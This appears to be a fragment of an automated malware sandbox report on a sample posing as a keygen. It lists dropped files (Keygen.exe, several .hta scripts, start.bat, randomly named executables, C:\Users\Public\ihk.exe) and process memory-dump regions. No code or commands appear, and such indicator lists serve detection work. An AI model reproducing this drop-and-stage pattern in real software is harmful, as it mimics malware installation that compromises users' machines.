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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_999e7dbd-7b0c-47cd-bd79-7b1eed99818d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_999e7dbd-7b0c-47cd-bd79-7b1eed99818d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_999e7dbd-7b0c-47cd-bd79-7b1eed99818d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_999e7dbd-7b0c-47cd-bd79-7b1eed99818d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_999e7dbd-7b0c-47cd-bd79-7b1eed99818d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a700e20d-ef30-47d4-abf6-6f8f1430f64a

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\6844.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Public\ihk.exe

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C:\Users\Public\ihk.exe

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C:\Users\Public\ihk.exe

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\Users\Admin\AppData\Local\Temp\6844.tmp\Keygen.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Public\ihk.exe

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\Users\Public\ihk.exe

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memory/456-0-0x0000000000000000-mapping.dmp

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memory/568-23-0x0000000070EE0000-0x00000000715CE000-memory.dmp

Filesize
6.9MB

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memory/568-20-0x0000000000000000-mapping.dmp

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memory/1100-4-0x0000000000000000-mapping.dmp

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memory/1100-5-0x0000000000000000-mapping.dmp

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memory/1172-28-0x0000000000000000-mapping.dmp

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memory/1236-10-0x0000000000000000-mapping.dmp

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memory/1500-31-0x0000000000000000-mapping.dmp

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memory/1500-35-0x0000000070EE0000-0x00000000715CE000-memory.dmp

Filesize
6.9MB

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memory/1540-55-0x0000000002A50000-0x0000000002A51000-memory.dmp

Filesize
4KB

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memory/1540-32-0x0000000000000000-mapping.dmp

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memory/1540-49-0x0000000002770000-0x0000000002771000-memory.dmp

Filesize
4KB

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memory/1540-37-0x0000000002300000-0x0000000002301000-memory.dmp

Filesize
4KB

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memory/1540-36-0x0000000070EE0000-0x00000000715CE000-memory.dmp

Filesize
6.9MB

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memory/1580-15-0x0000000000000000-mapping.dmp

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memory/1624-13-0x0000000000000000-mapping.dmp

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memory/1720-8-0x0000000000000000-mapping.dmp

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memory/1840-11-0x0000000000000000-mapping.dmp

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memory/1908-16-0x0000000000000000-mapping.dmp

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memory/1916-25-0x0000000070EE0000-0x00000000715CE000-memory.dmp

Filesize
6.9MB

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memory/1916-63-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

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memory/1916-17-0x0000000000000000-mapping.dmp

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memory/1916-83-0x0000000006400000-0x0000000006401000-memory.dmp

Filesize
4KB

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memory/1916-68-0x00000000061C0000-0x00000000061C1000-memory.dmp

Filesize
4KB

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memory/1916-43-0x00000000048E0000-0x00000000048E1000-memory.dmp

Filesize
4KB

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memory/1916-69-0x0000000006270000-0x0000000006271000-memory.dmp

Filesize
4KB

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memory/1916-76-0x00000000063D0000-0x00000000063D1000-memory.dmp

Filesize
4KB

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memory/1948-19-0x0000000000000000-mapping.dmp

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memory/1948-24-0x0000000070EE0000-0x00000000715CE000-memory.dmp

Filesize
6.9MB

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memory/1976-18-0x0000000000000000-mapping.dmp

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memory/1976-26-0x0000000070EE0000-0x00000000715CE000-memory.dmp

Filesize
6.9MB

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memory/1984-30-0x0000000000000000-mapping.dmp

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memory/2376-103-0x0000000000000000-mapping.dmp

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memory/2424-136-0x000007FEF8050000-0x000007FEF82CA000-memory.dmp

Filesize
2.5MB

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memory/2444-109-0x0000000000000000-mapping.dmp

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memory/2468-113-0x0000000000000000-mapping.dmp

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memory/2520-126-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2520-121-0x000000000043FCC3-mapping.dmp

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memory/2520-120-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2544-127-0x000000000041A684-mapping.dmp

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memory/2544-129-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/2544-125-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/2592-132-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/2592-133-0x0000000000417A8B-mapping.dmp

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memory/2592-135-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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